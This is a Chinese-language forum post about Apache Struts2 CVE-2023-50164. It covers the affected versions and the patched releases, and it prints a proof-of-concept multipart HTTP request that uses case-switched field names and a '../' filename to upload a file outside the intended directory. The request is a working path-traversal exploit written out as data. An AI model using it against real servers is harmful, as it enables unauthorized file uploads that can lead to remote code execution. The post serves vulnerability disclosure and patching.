Apache Struts2 CVE-2023-50164__

2024-02-29 14:56:41 4 1132
Apache Struts2 CVE-2023-50164________________________________________
漏洞描述
Struts2是一个流行的Java框架,用于开发企业级Web应用程序。支持动作处理、表单验证、拦截器,以及与其他Java技术的集成。
Apache Struts 文件上传漏洞(CVE-2023-50164),未经身份验证的远程攻击者可能会利用该漏洞执行路径遍历,成功利用该漏洞可以上传恶意文件到服务器的非预期位置,最终导致远程代码执行。

影响版本
Apache Struts 2.0.0 至 2.5.32
Apache Struts 6.0.0 至 6.3.0.1

漏洞复现

Poc:
POST /struts2_066_war_exploded/upload.action HTTP/1.1
Host:
Content-Length: 293
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.20.10.4:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrhraU57lkZHpBtit
Connection: close

------WebKitFormBoundaryrhraU57lkZHpBtit
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain

123
------WebKitFormBoundaryrhraU57lkZHpBtit
Content-Disposition: form-data; name="uploadFileName"

../123.txt
------WebKitFormBoundaryrhraU57lkZHpBtit—


漏洞通过首字母大小写切换可以进行变量覆盖,通过覆盖 filename中的uploadFileName变量从而进行路径穿越,最终达到跨目录上传的效果。
例如上面成功复现的包一样,Upload首字母大写,uploadFileName小写。最后覆盖掉Upload中的uploadFileName从而成功跨目录上传文件。


安全更新

目前,官方已有可更新版本,建议用户尽快更新到安全版本:
Struts >= 2.5.33
Struts >= 6.3.0.2

关于作者

Anonymous0篇文章0篇回复

We are Anonymous!

评论4次

要评论?请先  登录  或  注册